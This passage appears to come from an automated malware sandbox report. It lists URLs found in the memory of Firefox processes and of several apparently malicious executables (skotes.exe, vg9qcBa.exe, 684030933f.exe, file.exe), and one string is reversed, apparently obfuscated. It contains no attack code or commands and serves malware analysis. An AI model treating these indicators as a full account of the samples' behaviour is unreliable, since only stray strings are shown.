Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/diagnostic?site=
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&p
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=%GOOGLE_SAFEBR
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatHits?$ct=application/x-protobuf&key=%GOOGLE_SAFEBROWSIN
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=%GOOGL
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://sb-ssl.google.com/safebrowsing/clientreport/download?key=%GOOGLE_SAFEBROWSING_API_KEY%
Source: firefox.exe, 0000002D.00000002.3369538416.000001FAB69B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 0000002D.00000003.3226671698.000001FABA000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/Wikip
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/privacy.rejectForeign.allowList
Source: skotes.exe, 00000016.00000002.3301829204.00000000011EA000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000017.00000002.2796253870.000000000338E000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000019.00000003.2795376178.0000000003250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/abuse/report/addon/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/language-tools/?app=firefox&type=language&appversi
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.0000016918312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000002D.00000002.3690428072.000001FAC2736000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.000001691839D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.8.dr	String found in binary or memory: https://srtb.msn.com/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AFD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3670137618.000001FABBB20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsTerminatoryTelemetry:
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3666377402.000001FABB69C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3666377402.000001FABB6F9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3670137618.000001FABBB20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelresource://gre/modules/URLDecorationAnnotationsS
Source: firefox.exe, 0000002D.00000002.3497045795.000001FAB86C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000002D.00000002.3679855648.000001FABD167000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 684030933f.exe, 0000001C.00000003.3125603311.0000000005833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-helpTabsToolbar
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3683181529.000001FABDFDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 0000002D.00000002.3679855648.000001FABD1C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causes
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/warning-unresponsive-script#w_other-causeshttps://support.mozilla.org
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translation
Source: firefox.exe, 0000002D.00000002.3669690819.000001FABBA16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/website-translationCan
Source: 684030933f.exe, 0000001C.00000003.3125603311.0000000005833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.2469293081.000000002372D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgaccount-connection-connectedhttps://truecolors.firefox.combrowser.handler
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA3D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000002D.00000002.3311670546.0000014814204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: firefox.exe, 0000002D.00000002.3645994801.000001FABA303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3645994801.000001FABA33D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000002D.00000002.3425227926.000001FAB7DC0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3306065043.000001DBBC120000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000030.00000002.3299236536.0000016918270000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3690428072.000001FAC2774000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3547609952.000001FAB9F3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3294017257.000000274BD7B000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3691338549.000001FAC28A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: firefox.exe, 0000002D.00000002.3692884284.000001FAC295E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3285461478.000001FAC2961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 0000002D.00000002.3335512997.000001FAB60AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3299762817.000001DBBC0C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://extensions/content/parent/ext-browsingDa
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 0000002D.00000002.3335512997.000001FAB60AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3299762817.000001DBBC0C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3301010972.00000169183EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000002.3675240759.000001FABCD61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: file.exe, 00000000.00000002.2571085953.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064157220.000000000554C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064269719.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064429069.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225905521.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3226159938.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225669173.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 0000002D.00000002.3694113823.000001FAC2A2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6AE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3287645310.000001FAC2C27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3281172318.000001FAC2BF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search
Source: firefox.exe, 0000002D.00000002.3414733058.000001FAB6A7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3227323210.000001FABA23E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3227918892.000001FABA281000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002D.00000003.3226671698.000001FABA000000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: file.exe, 00000000.00000002.2571085953.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3092709132.00000000055AF000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064157220.000000000554C000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064269719.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3064429069.0000000005549000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001C.00000003.3093121847.000000000553D000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3252726708.0000000005F90000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3254488328.0000000005F26000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225905521.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3226159938.0000000005F2A000.00000004.00000800.00020000.00000000.sdmp, 684030933f.exe, 0000001F.00000003.3225669173.0000000005F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
